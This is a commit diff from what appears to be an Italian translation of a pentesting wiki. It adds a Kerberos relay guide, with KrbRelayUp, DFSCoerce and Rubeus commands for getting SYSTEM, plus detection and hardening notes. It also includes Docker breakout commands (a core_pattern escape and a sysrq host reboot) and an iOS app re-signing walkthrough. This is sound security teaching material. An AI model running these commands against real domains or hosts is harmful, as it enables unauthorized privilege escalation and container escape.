Translated ['src/generic-methodologies-and-resources/pentesting-network/

2025-10-10 18:36:50 +00:00 · 2025-05-11 15:15:25 +00:00 · 2025-05-11 15:15:25 +00:00 · 2446a6b9eb
commit 2446a6b9eb
parent 7282236256
5 changed files with 241 additions and 43 deletions
--- a/src/SUMMARY.md
+++ b/src/SUMMARY.md
@ -316,6 +316,7 @@
  - [Drozer Tutorial](mobile-pentesting/android-app-pentesting/drozer-tutorial/README.md)
    - [Exploiting Content Providers](mobile-pentesting/android-app-pentesting/drozer-tutorial/exploiting-content-providers.md)
  - [Exploiting a debuggeable application](mobile-pentesting/android-app-pentesting/exploiting-a-debuggeable-applciation.md)
+  - [Flutter](mobile-pentesting/android-app-pentesting/flutter.md)
  - [Frida Tutorial](mobile-pentesting/android-app-pentesting/frida-tutorial/README.md)
    - [Frida Tutorial 1](mobile-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-1.md)
    - [Frida Tutorial 2](mobile-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-2.md)
@ -342,6 +343,7 @@
  - [iOS Extracting Entitlements From Compiled Application](mobile-pentesting/ios-pentesting/extracting-entitlements-from-compiled-application.md)
  - [iOS Frida Configuration](mobile-pentesting/ios-pentesting/frida-configuration-in-ios.md)
  - [iOS Hooking With Objection](mobile-pentesting/ios-pentesting/ios-hooking-with-objection.md)
+  - [iOS Pentesting withuot Jailbreak](mobile-pentesting/ios-pentesting/ios-pentesting-without-jailbreak.md)
  - [iOS Protocol Handlers](mobile-pentesting/ios-pentesting/ios-protocol-handlers.md)
  - [iOS Serialisation and Encoding](mobile-pentesting/ios-pentesting/ios-serialisation-and-encoding.md)
  - [iOS Testing Environment](mobile-pentesting/ios-pentesting/ios-testing-environment.md)
--- a/src/generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md
+++ b/src/generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md
@ -105,7 +105,7 @@ python MultiRelay.py -t <IP target> -u ALL -d # Dump hashes

 # Proxychains for routing traffic
 ```
-Questi strumenti e tecniche formano un insieme completo per condurre attacchi NTLM Relay in vari ambienti di rete.
+Questi strumenti e tecniche formano un insieme completo per condurre attacchi di NTLM Relay in vari ambienti di rete.

 ### Forzare i login NTLM

@ -115,6 +115,113 @@ In Windows **potresti essere in grado di forzare alcuni account privilegiati ad
 ../../windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md
 {{#endref}}

+## Attacco Kerberos Relay
+
+Un **attacco Kerberos relay** ruba un **ticket AP-REQ** da un servizio e lo riutilizza contro un secondo servizio che condivide la **stessa chiave dell'account computer** (perché entrambi gli SPN si trovano sullo stesso account macchina `$`). Questo funziona anche se le **classi di servizio degli SPN differiscono** (ad es. `CIFS/` → `LDAP/`) perché la *chiave* che decripta il ticket è l'hash NT della macchina, non la stringa SPN stessa e la stringa SPN non fa parte della firma.
+
+A differenza del relay NTLM, il salto è limitato alla *stessa host*, ma, se punti a un protocollo che ti consente di scrivere su LDAP, puoi concatenarti in **Delegazione Constrainata Basata su Risorse (RBCD)** o **registrazione AD CS** e ottenere **NT AUTHORITY\SYSTEM** in un colpo solo.
+
+Per informazioni dettagliate su questo attacco controlla:
+
+- [https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html](https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html)
+- [https://decoder.cloud/2025/04/24/from-ntlm-relay-to-kerberos-relay-everything-you-need-to-know/](https://decoder.cloud/2025/04/24/from-ntlm-relay-to-kerberos-relay-everything-you-need-to-know/)
+
+- 1. **Nozioni di base su Kerberos**
+
+| Token | Scopo | Rilevanza del relay |
+|-------|---------|-----------------|
+| **TGT / AS-REQ ↔ REP** | Prova l'utente al KDC | intatto |
+| **Ticket di servizio / TGS-REQ ↔ REP** | Legato a un **SPN**; crittografato con la chiave del proprietario dello SPN | intercambiabile se gli SPN condividono l'account |
+| **AP-REQ** | Il client invia `TGS` al servizio | **cosa rubiamo e riproduciamo** |
+
+* I ticket sono crittografati con la **chiave derivata dalla password dell'account che possiede lo SPN**.
+* L'**Autenticatore** all'interno dell'AP-REQ ha un timestamp di 5 minuti; la riproduzione all'interno di quella finestra è valida fino a quando la cache del servizio non vede un duplicato.
+* Windows controlla raramente se la stringa SPN nel ticket corrisponde al servizio che colpisci, quindi un ticket per `CIFS/HOST` normalmente si decripta correttamente su `LDAP/HOST`.
+
+- 2. **Cosa deve essere vero per relay Kerberos**
+
+1. **Chiave condivisa:** gli SPN di origine e di destinazione appartengono allo stesso account computer (predefinito sui server Windows).
+2. **Nessuna protezione del canale:** SMB/LDAP disabilitato e EPA disabilitato per HTTP/LDAPS.
+3. **Puoi intercettare o costringere l'autenticazione:** avvelenamento LLMNR/NBNS, spoofing DNS, **PetitPotam / DFSCoerce RPC**, AuthIP falso, DCOM rogue, ecc..
+4. **Fonte del ticket non già utilizzata:** vinci la corsa prima che il pacchetto reale arrivi o bloccalo completamente; altrimenti la cache di riproduzione del server attiva l'Evento 4649.
+5. Devi in qualche modo essere in grado di eseguire un **MitM nella comunicazione**, magari facendo parte del gruppo DNSAmins per modificare il DNS del dominio o essere in grado di cambiare il file HOST della vittima.
+
+### Passi per il Relay Kerberos
+
+- 3.1 **Riconoscere l'host**
+```powershell
+# find servers where HTTP, LDAP or CIFS share the same machine account
+Get-ADComputer -Filter * -Properties servicePrincipalName |
+Where-Object {$_.servicePrincipalName -match '(HTTP|LDAP|CIFS)'} |
+Select Name,servicePrincipalName
+```
+- 3.2 **Avvia il listener di relay**
+
+[KrbRelayUp](https://github.com/Dec0ne/KrbRelayUp)
+```powershell
+# one-click local SYSTEM via RBCD
+.\KrbRelayUp.exe relay --spn "ldap/DC01.lab.local" --method rbcd --clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8
+```
+`KrbRelayUp` avvolge **KrbRelay → LDAP → RBCD → Rubeus → bypass SCM** in un unico binario.
+
+- 3.3 **Costringere l'autenticazione Kerberos**
+```powershell
+# coerce DC to auth over SMB with DFSCoerce
+.\dfscoerce.exe --target \\DC01.lab.local --listener 10.0.0.50
+```
+DFSCoerce fa sì che il DC ci invii un ticket Kerberos `CIFS/DC01`.
+
+- 3.4 **Ritrasmettere l'AP-REQ**
+
+KrbRelay estrae il blob GSS da SMB, lo ripacchetta in un bind LDAP e lo inoltra a `ldap://DC01`—l'autenticazione ha successo perché la **stessa chiave** lo decripta.
+
+- 3.5 **Abuso di LDAP ➜ RBCD ➜ SYSTEM**
+```powershell
+# (auto inside KrbRelayUp) manual for clarity
+New-MachineAccount -Name "FAKE01" -Password "P@ss123"
+KrbRelay.exe -spn ldap/DC01 -rbcd FAKE01_SID
+Rubeus s4u /user:FAKE01$ /rc4:<hash> /impersonateuser:administrator /msdsspn:HOST/DC01 /ptt
+SCMUACBypass.exe
+```
+You now own **NT AUTHORITY\SYSTEM**.
+
+
+### **Altri percorsi da conoscere**
+
+| Vettore | Trucco | Perché è importante |
+|--------|-------|----------------|
+| **AuthIP / IPSec** | Server falso invia un **payload GSS-ID** con qualsiasi SPN; il client costruisce un AP-REQ direttamente a te | Funziona anche attraverso sottoreti; credenziali macchina per impostazione predefinita |
+| **DCOM / MSRPC** | Risolutore OXID malevolo costringe il client ad autenticarsi su SPN e porta arbitrari | Privilegi locali puri; elude il firewall |
+| **AD CS Web Enroll** | Inoltra il ticket della macchina a `HTTP/CA` e ottieni un certificato, poi **PKINIT** per coniare TGT | Elude le difese di firma LDAP |
+| **Shadow Credentials** | Scrivi `msDS-KeyCredentialLink`, poi PKINIT con coppia di chiavi contraffatta | Non è necessario aggiungere un account computer |
+
+### **Risoluzione dei problemi**
+
+| Errore | Significato | Correzione |
+|-------|---------|-----|
+| `KRB_AP_ERR_MODIFIED` | Chiave del ticket ≠ chiave di destinazione | Host/SPN errato |
+| `KRB_AP_ERR_SKEW` | Orologio > 5 min di offset | Sincronizza l'ora o usa `w32tm` |
+| Il bind LDAP fallisce | Firma forzata | Usa il percorso AD CS o disabilita la firma |
+| Spam Evento 4649 | Il servizio ha visto un Autenticatore duplicato | blocca o gareggia con il pacchetto originale |
+
+
+### **Rilevamento**
+
+* Aumento in **Evento 4769** per `CIFS/`, `HTTP/`, `LDAP/` dalla stessa fonte in pochi secondi.
+* **Evento 4649** sul servizio indica replay rilevato.
+* Accesso Kerberos da **127.0.0.1** (inoltro a SCM locale) è altamente sospetto—mappa tramite regola Sigma nella documentazione di KrbRelayUp.
+* Osserva le modifiche agli attributi `msDS-AllowedToActOnBehalfOfOtherIdentity` o `msDS-KeyCredentialLink`.
+
+## **Rinforzo**
+
+1. **Forza la firma LDAP e SMB + EPA** su ogni server.
+2. **Dividi gli SPN** in modo che HTTP non sia sullo stesso account di CIFS/LDAP.
+3. Patching dei vettori di coercizione (PetitPotam KB5005413, DFS, AuthIP).
+4. Imposta **`ms-DS-MachineAccountQuota = 0`** per fermare le unioni di computer non autorizzate.
+5. Allerta su **Evento 4649** e accessi Kerberos loopback imprevisti.
+
+
+
 ## Riferimenti

 - [https://intrinium.com/smb-relay-attack-tutorial/](https://intrinium.com/smb-relay-attack-tutorial/)
--- a/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md
+++ b/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/sensitive-mounts.md
@ -15,24 +15,36 @@ Questa directory consente l'accesso per modificare le variabili del kernel, di s
 #### **`/proc/sys/kernel/core_pattern`**

 - Descritto in [core(5)](https://man7.org/linux/man-pages/man5/core.5.html).
- Consente di definire un programma da eseguire alla generazione di un file di core con i primi 128 byte come argomenti. Questo può portare all'esecuzione di codice se il file inizia con una pipe `|`.
- **Esempio di test e sfruttamento**:
+- Se puoi scrivere all'interno di questo file, è possibile scrivere una pipe `|` seguita dal percorso di un programma o script che verrà eseguito dopo che si verifica un crash.
+- Un attaccante può trovare il percorso all'interno dell'host per il suo container eseguendo `mount` e scrivere il percorso a un binario all'interno del file system del suo container. Poi, far crashare un programma per far eseguire il binario al di fuori del container.

+- **Esempio di Test e Sfruttamento**:
 ```bash
-[ -w /proc/sys/kernel/core_pattern ] && echo Yes # Test di accesso in scrittura
+[ -w /proc/sys/kernel/core_pattern ] && echo Yes # Test write access
 cd /proc/sys/kernel
-echo "|$overlay/shell.sh" > core_pattern # Imposta gestore personalizzato
-sleep 5 && ./crash & # Attiva gestore
+echo "|$overlay/shell.sh" > core_pattern # Set custom handler
+sleep 5 && ./crash & # Trigger handler
 ```
+Controlla [questo post](https://pwning.systems/posts/escaping-containers-for-fun/) per ulteriori informazioni.

+Esempio di programma che si blocca:
+```c
+int main(void) {
+char buf[1];
+for (int i = 0; i < 100; i++) {
+buf[i] = 1;
+}
+return 0;
+}
+```
 #### **`/proc/sys/kernel/modprobe`**

 - Dettagliato in [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).
 - Contiene il percorso per il caricatore di moduli del kernel, invocato per caricare i moduli del kernel.
- **Esempio di controllo accesso**:
+- **Esempio di Controllo Accesso**:

 ```bash
-ls -l $(cat /proc/sys/kernel/modprobe) # Controlla accesso a modprobe
+ls -l $(cat /proc/sys/kernel/modprobe) # Controlla l'accesso a modprobe
 ```

 #### **`/proc/sys/vm/panic_on_oom`**
@ -48,7 +60,7 @@ ls -l $(cat /proc/sys/kernel/modprobe) # Controlla accesso a modprobe
 #### **`/proc/sys/fs/binfmt_misc`**

 - Consente di registrare interpreti per formati binari non nativi basati sul loro numero magico.
- Può portare a escalation dei privilegi o accesso a shell root se `/proc/sys/fs/binfmt_misc/register` è scrivibile.
+- Può portare a un'elevazione di privilegi o accesso a shell root se `/proc/sys/fs/binfmt_misc/register` è scrivibile.
 - Sfruttamento e spiegazione rilevanti:
 - [Poor man's rootkit via binfmt_misc](https://github.com/toffan/binfmt_misc)
 - Tutorial approfondito: [Video link](https://www.youtube.com/watch?v=WBC7hhgMvQQ)
@ -63,7 +75,7 @@ ls -l $(cat /proc/sys/kernel/modprobe) # Controlla accesso a modprobe
 #### **`/proc/sysrq-trigger`**

 - Consente di invocare comandi Sysrq, potenzialmente causando riavvii immediati del sistema o altre azioni critiche.
- **Esempio di riavvio dell'host**:
+- **Esempio di Riavvio Host**:

 ```bash
 echo b > /proc/sysrq-trigger # Riavvia l'host
@ -84,7 +96,7 @@ echo b > /proc/sysrq-trigger # Riavvia l'host
 #### **`/proc/[pid]/mem`**

 - Interfaccia con il dispositivo di memoria del kernel `/dev/mem`.
- Storicamente vulnerabile ad attacchi di escalation dei privilegi.
+- Storicamente vulnerabile ad attacchi di elevazione di privilegi.
 - Maggiori informazioni su [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html).

 #### **`/proc/kcore`**
@ -92,7 +104,7 @@ echo b > /proc/sysrq-trigger # Riavvia l'host
 - Rappresenta la memoria fisica del sistema in formato ELF core.
 - La lettura può rivelare i contenuti della memoria del sistema host e di altri container.
 - La grande dimensione del file può portare a problemi di lettura o crash del software.
- Uso dettagliato in [Dumping /proc/kcore in 2019](https://schlafwandler.github.io/posts/dumping-/proc/kcore/).
+- Utilizzo dettagliato in [Dumping /proc/kcore in 2019](https://schlafwandler.github.io/posts/dumping-/proc/kcore/).

 #### **`/proc/kmem`**

@ -106,21 +118,21 @@ echo b > /proc/sysrq-trigger # Riavvia l'host

 #### **`/proc/sched_debug`**

- Restituisce informazioni sulla pianificazione dei processi, eludendo le protezioni del namespace PID.
+- Restituisce informazioni sulla pianificazione dei processi, bypassando le protezioni dello spazio dei nomi PID.
 - Espone nomi di processi, ID e identificatori cgroup.

 #### **`/proc/[pid]/mountinfo`**

- Fornisce informazioni sui punti di montaggio nel namespace di montaggio del processo.
+- Fornisce informazioni sui punti di montaggio nello spazio dei nomi di montaggio del processo.
 - Espone la posizione del `rootfs` o dell'immagine del container.

-### `/sys` Vulnerabilities
+### Vulnerabilità di `/sys`

 #### **`/sys/kernel/uevent_helper`**

 - Utilizzato per gestire i `uevents` dei dispositivi del kernel.
 - Scrivere in `/sys/kernel/uevent_helper` può eseguire script arbitrari al verificarsi di `uevent`.
- **Esempio di sfruttamento**: %%%bash
+- **Esempio di Sfruttamento**: %%%bash

 #### Crea un payload

@ -152,20 +164,20 @@ cat /output %%%

 #### **`/sys/kernel/security`**

- Contiene l'interfaccia `securityfs`, che consente la configurazione dei moduli di sicurezza Linux come AppArmor.
+- Contiene l'interfaccia `securityfs`, che consente la configurazione dei Moduli di Sicurezza Linux come AppArmor.
 - L'accesso potrebbe consentire a un container di disabilitare il proprio sistema MAC.

 #### **`/sys/firmware/efi/vars` e `/sys/firmware/efi/efivars`**

 - Espone interfacce per interagire con le variabili EFI in NVRAM.
- Malconfigurazione o sfruttamento possono portare a laptop bloccati o macchine host non avviabili.
+- Una configurazione errata o uno sfruttamento possono portare a laptop bloccati o macchine host non avviabili.

 #### **`/sys/kernel/debug`**

 - `debugfs` offre un'interfaccia di debug "senza regole" al kernel.
 - Storia di problemi di sicurezza a causa della sua natura illimitata.

-### `/var` Vulnerabilities
+### Vulnerabilità di `/var`

 La cartella **/var** dell'host contiene socket di runtime del container e i filesystem dei container. Se questa cartella è montata all'interno di un container, quel container avrà accesso in lettura-scrittura ai filesystem di altri container con privilegi di root. Questo può essere abusato per passare tra i container, causare un denial of service o inserire backdoor in altri container e applicazioni che vi girano.

@ -218,7 +230,7 @@ L'XSS è stato ottenuto:

 ![Stored XSS via mounted /var folder](/images/stored-xss-via-mounted-var-folder.png)

-Nota che il container NON richiede un riavvio o altro. Qualsiasi modifica effettuata tramite la cartella montata **/var** sarà applicata istantaneamente.
+Nota che il container NON richiede un riavvio o altro. Qualsiasi modifica effettuata tramite la cartella montata **/var** verrà applicata istantaneamente.

 Puoi anche sostituire file di configurazione, binari, servizi, file di applicazione e profili di shell per ottenere RCE automatico (o semi-automatico).

@ -236,7 +248,7 @@ che consentono al container di ottenere accesso non autorizzato a K8s o al cloud
 ```
 #### Docker

-L'exploitation in Docker (o nelle distribuzioni Docker Compose) è esattamente la stessa, tranne per il fatto che di solito i filesystem degli altri container sono disponibili sotto un percorso di base diverso:
+Lo sfruttamento in Docker (o nelle distribuzioni Docker Compose) è esattamente lo stesso, tranne per il fatto che di solito i filesystem degli altri container sono disponibili sotto un percorso di base diverso:
 ```bash
 $ docker info | grep -i 'docker root\|storage driver'
 Storage Driver: overlay2
@ -254,7 +266,7 @@ drwx--x---  4 root root  4096 Jan  9 21:22 062f14e5adbedce75cea699828e22657c8044
 ```
 #### Nota

-I percorsi effettivi possono differire in diverse configurazioni, motivo per cui la tua migliore opzione è utilizzare il comando **find** per localizzare i filesystem degli altri contenitori e i token di identità SA / web.
+I percorsi effettivi possono differire in diverse configurazioni, motivo per cui la tua migliore opzione è utilizzare il comando **find** per localizzare i filesystem degli altri container e i token di identità SA / web.

 ### Riferimenti

--- a/src/mobile-pentesting/ios-pentesting/ios-pentesting-without-jailbreak.md
+++ b/src/mobile-pentesting/ios-pentesting/ios-pentesting-without-jailbreak.md
@ -0,0 +1,73 @@
+# iOS Pentesting senza Jailbreak
+
+{{#include ../../banners/hacktricks-training.md}}
+
+## Idea principale
+
+Le applicazioni firmate con l'**entitlement `get_task_allow`** consentono alle applicazioni di terze parti di eseguire una funzione chiamata **`task_for_pid()`** con l'ID del processo dell'applicazione iniziale come argomento per ottenere la porta del task su di essa (essere in grado di controllarla e accedere alla sua memoria).
+
+Tuttavia, non è così semplice come estrarre l'IPA, firmarlo nuovamente con l'entitlement e ricaricarlo sul tuo dispositivo. Questo a causa della protezione FairPlay. Quando la firma dell'app cambia, la chiave DRM (Digital Rights Management) è **annullata e l'app non funzionerà**.
+
+Con un vecchio dispositivo jailbroken, è possibile installare l'IPA, **decrittarlo utilizzando il tuo strumento preferito** (come Iridium o frida-ios-dump) e rimuoverlo dal dispositivo. Anche se, se possibile, è consigliato chiedere semplicemente al cliente per l'IPA decrittato.
+
+## Ottenere l'IPA decrittato
+
+### Ottienilo da Apple
+
+1. Installa l'app da pentest sull'iPhone
+2. Installa e avvia [Apple Configurator](https://apps.apple.com/au/app/apple-configurator/id1037126344?mt=12) sul tuo macos
+3. Apri `Terminal` sul tuo Mac e cd a `/Users/[username]/Library/Group\\ Containers/K36BKF7T3D.group.com.apple.configurator/Library/Caches/Assets/TemporaryItems/MobileApps`. L'IPA apparirà in questa cartella più tardi.
+4. Dovresti vedere il tuo dispositivo iOS. Fai doppio clic su di esso, quindi clicca su Aggiungi + → App dalla barra dei menu in alto.
+5. Dopo aver cliccato su Aggiungi, Configurator scaricherà l'IPA da Apple e tenterà di inviarlo al tuo dispositivo. Se hai seguito la mia raccomandazione precedente e hai già installato l'IPA, apparirà un messaggio che ti chiede di reinstallare l'app.
+6. L'IPA dovrebbe essere scaricato all'interno di `/Users/[username]/Library/Group\\ Containers/K36BKF7T3D.group.com.apple.configurator/Library/Caches/Assets/TemporaryItems/MobileApps` da dove puoi prenderlo.
+
+Controlla [https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed](https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed) per informazioni più dettagliate su questo processo.
+
+### Decrittare l'app
+
+Per decrittare l'IPA, lo installeremo. Tuttavia, se hai un vecchio iPhone jailbroken, potenzialmente la sua versione non sarà supportata dall'applicazione poiché di solito le app supportano solo le ultime versioni.
+
+Quindi, per installarlo, basta estrarre l'IPA:
+```bash
+unzip redacted.ipa -d unzipped
+```
+Controlla il `Info.plist` per la versione minima supportata e se il tuo dispositivo è più vecchio di quella, modifica il valore affinché sia supportato.
+
+Comprimi di nuovo l'IPA:
+```bash
+cd unzipped
+zip -r ../no-min-version.ipa *
+```
+Quindi, installa l'IPA ad esempio con:
+```bash
+ideviceinstaller -i no-min-version.ipa -w
+```
+Nota che potresti aver bisogno di **AppSync Unified tweak** da Cydia per prevenire eventuali errori di `invalid signature`.
+
+Una volta installato, puoi utilizzare **Iridium tweak** da Cydia per ottenere l'IPA decrittografato.
+
+
+### Patch entitlements & re-sign
+
+Per ri-firmare l'applicazione con l'entitlement `get-task-allow`, ci sono diversi strumenti disponibili come `app-signer`, `codesign` e `iResign`. `app-signer` ha un'interfaccia molto user-friendly che consente di ri-firmare molto facilmente un file IPA indicando l'IPA da ri-firmare, per **mettere `get-task-allow`** e il certificato e il profilo di provisioning da utilizzare.
+
+Per quanto riguarda il certificato e i profili di firma, Apple offre **free developer signing profiles** per tutti gli account tramite Xcode. Basta creare un'app e configurarne una. Poi, configura l'**iPhone per fidarsi delle app degli sviluppatori** navigando su `Impostazioni` → `Privacy e Sicurezza`, e clicca su `Modalità Sviluppatore`.
+
+
+Con l'IPA ri-firmata, è tempo di installarla nel dispositivo per effettuare il pentesting:
+```bash
+ideviceinstaller -i resigned.ipa -w
+```
+### Hook
+
+Puoi facilmente collegare la tua app utilizzando strumenti comuni come frida e objection:
+```bash
+objection -g [your app bundle ID] explore
+
+```
+## Riferimenti
+
+- [https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed](https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed)
+
+
+{{#include ../../banners/hacktricks-training.md}}
--- a/src/mobile-pentesting/ios-pentesting/ios-testing-environment.md
+++ b/src/mobile-pentesting/ios-pentesting/ios-testing-environment.md
@ -4,9 +4,9 @@

 ## Apple Developer Program

-Un **provisioning identity** è una raccolta di chiavi pubbliche e private associate a un account sviluppatore Apple. Per **firmare le app** è necessario pagare **99$/anno** per registrarsi nel **Apple Developer Program** e ottenere la propria provisioning identity. Senza questo non sarà possibile eseguire applicazioni dal codice sorgente su un dispositivo fisico. Un'altra opzione è utilizzare un **dispositivo jailbroken**.
+Un **provisioning identity** è una raccolta di chiavi pubbliche e private associate a un account sviluppatore Apple. Per **firmare le app** è necessario pagare **99$/anno** per registrarsi nel **Apple Developer Program** e ottenere il proprio provisioning identity. Senza questo non sarà possibile eseguire applicazioni dal codice sorgente su un dispositivo fisico. Un'altra opzione è utilizzare un **dispositivo jailbroken**.

-A partire da Xcode 7.2, Apple ha fornito un'opzione per creare un **profilo di provisioning per lo sviluppo iOS gratuito** che consente di scrivere e testare la propria applicazione su un vero iPhone. Vai su _Xcode_ --> _Preferences_ --> _Accounts_ --> _+_ (Aggiungi nuovo Apple ID con le tue credenziali) --> _Clicca sull'Apple ID creato_ --> _Manage Certificates_ --> _+_ (Apple Development) --> _Done_\
+A partire da Xcode 7.2, Apple ha fornito un'opzione per creare un **profilo di provisioning per lo sviluppo iOS gratuito** che consente di scrivere e testare la propria applicazione su un vero iPhone. Vai su _Xcode_ --> _Preferences_ --> _Accounts_ --> _+_ (Aggiungi nuovo Appli ID con le tue credenziali) --> _Clicca sull'Apple ID creato_ --> _Manage Certificates_ --> _+_ (Apple Development) --> _Done_\
 \_\_Poi, per eseguire la tua applicazione sul tuo iPhone, devi prima **indicare all'iPhone di fidarsi del computer.** Poi, puoi provare a **eseguire l'applicazione sul mobile da Xcode,** ma apparirà un errore. Quindi vai su _Settings_ --> _General_ --> _Profiles and Device Management_ --> Seleziona il profilo non attendibile e clicca su "**Trust**".

 Nota che **le applicazioni firmate dallo stesso certificato di firma possono condividere risorse in modo sicuro, come gli elementi del portachiavi**.
@ -16,20 +16,20 @@ I profili di provisioning sono memorizzati all'interno del telefono in **`/Libra
 ## **Simulator**

 > [!NOTE]
-> Nota che un **simulatore non è la stessa cosa di un emulatore**. Il simulatore simula solo il comportamento e le funzioni del dispositivo, ma non li utilizza effettivamente.
+> Nota che un **simulatore non è lo stesso di un emulatore**. Il simulatore simula solo il comportamento e le funzioni del dispositivo, ma non li utilizza effettivamente.

 ### **Simulator**

 La prima cosa che devi sapere è che **eseguire un pentest all'interno di un simulatore sarà molto più limitato rispetto a farlo su un dispositivo jailbroken**.

 Tutti gli strumenti necessari per costruire e supportare un'app iOS sono **solo ufficialmente supportati su Mac OS**.\
-Lo strumento de facto di Apple per creare/debuggare/instrumentare applicazioni iOS è **Xcode**. Può essere utilizzato per scaricare altri componenti come **simulatori** e diverse **versioni SDK** necessarie per costruire e **testare** la tua app.\
+Lo strumento de facto di Apple per creare/debuggare/instrumentare applicazioni iOS è **Xcode**. Può essere utilizzato per scaricare altri componenti come **simulator** e diverse **versioni SDK** necessarie per costruire e **testare** la tua app.\
 È altamente consigliato **scaricare** Xcode dall'**app store ufficiale**. Altre versioni potrebbero contenere malware.

 I file del simulatore possono essere trovati in `/Users/<username>/Library/Developer/CoreSimulator/Devices`

 Per aprire il simulatore, esegui Xcode, poi premi sulla _scheda Xcode_ --> _Open Developer tools_ --> _Simulator_\
-\_\_Nell'immagine seguente, cliccando su "iPod touch \[...]" puoi selezionare un altro dispositivo da testare:
+\_\_Nell'immagine seguente cliccando su "iPod touch \[...]" puoi selezionare un altro dispositivo da testare:

 ![](<../../images/image (270).png>)

@ -37,7 +37,7 @@ Per aprire il simulatore, esegui Xcode, poi premi sulla _scheda Xcode_ --> _Open

 ### Applications in the Simulator

-All'interno di `/Users/<username>/Library/Developer/CoreSimulator/Devices` puoi trovare tutti i **simulatori installati**. Se desideri accedere ai file di un'applicazione creata all'interno di uno degli emulatori, potrebbe essere difficile sapere **in quale è installata l'app**. Un modo rapido per **trovare il UID corretto** è eseguire l'app nel simulatore ed eseguire:
+All'interno di `/Users/<username>/Library/Developer/CoreSimulator/Devices` puoi trovare tutti i **simulator installati**. Se vuoi accedere ai file di un'applicazione creata all'interno di uno degli emulatori, potrebbe essere difficile sapere **in quale è installata l'app**. Un modo veloce per **trovare il UID corretto** è eseguire l'app nel simulatore ed eseguire:
 ```bash
 xcrun simctl list | grep Booted
 iPhone 8 (BF5DA4F8-6BBE-4EA0-BA16-7E3AFD16C06C) (Booted)
@ -52,9 +52,13 @@ E in questa cartella puoi **trovare il pacchetto dell'applicazione.**

 Corellium è l'unico emulatore iOS disponibile pubblicamente. È una soluzione SaaS aziendale con un modello di licenza per utente e non offre alcuna licenza di prova.

-## No Jailbreak needed
+## No Jailbreak necessario

-Controlla questo post del blog su come fare pentesting a un'applicazione iOS su un **dispositivo non jailbroken**: [https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed](https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed)
+Controlla questo post del blog su come fare pentesting a un'applicazione iOS su un **dispositivo non jailbroken**:
+
+{{#ref}}
+ios-pentesting-without-jailbreak.md
+{{#endref}}

 ## Jailbreaking

@ -69,20 +73,20 @@ Sebbene spesso confrontati, **il rooting** su Android e **il jailbreaking** su i

 Al contrario, i dispositivi iOS non possono flashare ROM personalizzate a causa della restrizione del bootloader di avviare solo immagini firmate da Apple. **Il jailbreaking di iOS** mira a eludere le protezioni di firma del codice di Apple per eseguire codice non firmato, un processo complicato dai continui miglioramenti della sicurezza di Apple.

-### Jailbreaking Challenges
+### Sfide del Jailbreaking

 Il jailbreaking di iOS è sempre più difficile poiché Apple patcha rapidamente le vulnerabilità. **Il downgrade di iOS** è possibile solo per un tempo limitato dopo un rilascio, rendendo il jailbreaking una questione sensibile al tempo. I dispositivi utilizzati per i test di sicurezza non dovrebbero essere aggiornati a meno che il re-jailbreaking non sia garantito.

-Gli aggiornamenti di iOS sono controllati da un **meccanismo di challenge-response** (SHSH blobs), che consente l'installazione solo per risposte firmate da Apple. Questo meccanismo, noto come "finestra di firma", limita la possibilità di memorizzare e utilizzare successivamente pacchetti firmware OTA. Il [sito web IPSW Downloads](https://ipsw.me) è una risorsa per controllare le attuali finestre di firma.
+Gli aggiornamenti di iOS sono controllati da un **meccanismo di sfida-risposta** (SHSH blobs), che consente l'installazione solo per risposte firmate da Apple. Questo meccanismo, noto come "finestra di firma", limita la possibilità di memorizzare e utilizzare successivamente pacchetti firmware OTA. Il [sito web IPSW Downloads](https://ipsw.me) è una risorsa per controllare le attuali finestre di firma.

-### Jailbreak Varieties
+### Varietà di Jailbreak

 - **Jailbreak tethered** richiede una connessione al computer per ogni riavvio.
- **Jailbreak semi-tethered** consente di avviare in modalità non jailbroken senza un computer.
+- **Jailbreak semi-tethered** consente di avviarsi in modalità non jailbroken senza un computer.
 - **Jailbreak semi-untethered** richiede un re-jailbreaking manuale senza bisogno di un computer.
 - **Jailbreak untethered** offre una soluzione di jailbreak permanente senza la necessità di riapplicazione.

-### Jailbreaking Tools and Resources
+### Strumenti e Risorse per il Jailbreaking

 Gli strumenti di jailbreaking variano in base alla versione di iOS e al dispositivo. Risorse come [Can I Jailbreak?](https://canijailbreak.com), [The iPhone Wiki](https://www.theiphonewiki.com) e [Reddit Jailbreak](https://www.reddit.com/r/jailbreak/) forniscono informazioni aggiornate. Esempi includono:

@ -92,23 +96,23 @@ Gli strumenti di jailbreaking variano in base alla versione di iOS e al disposit

 Modificare il tuo dispositivo comporta dei rischi e il jailbreaking dovrebbe essere affrontato con cautela.

-### Jailbreaking Benefits and Risks
+### Vantaggi e Rischi del Jailbreaking

 Il jailbreaking **rimuove il sandboxing imposto dal sistema operativo**, consentendo alle app di accedere all'intero filesystem. Questa libertà consente l'installazione di app non approvate e l'accesso a più API. Tuttavia, per gli utenti normali, il jailbreaking **non è raccomandato** a causa dei potenziali rischi per la sicurezza e dell'instabilità del dispositivo.

-### **After Jailbreaking**
+### **Dopo il Jailbreaking**

 {{#ref}}
 basic-ios-testing-operations.md
 {{#endref}}

-### **Jailbreak Detection**
+### **Rilevamento del Jailbreak**

 **Diverse applicazioni cercheranno di rilevare se il mobile è jailbroken e in tal caso l'applicazione non verrà eseguita**

- Dopo il jailbreaking, su iOS **file e cartelle sono solitamente installati**, questi possono essere cercati per determinare se il dispositivo è jailbroken.
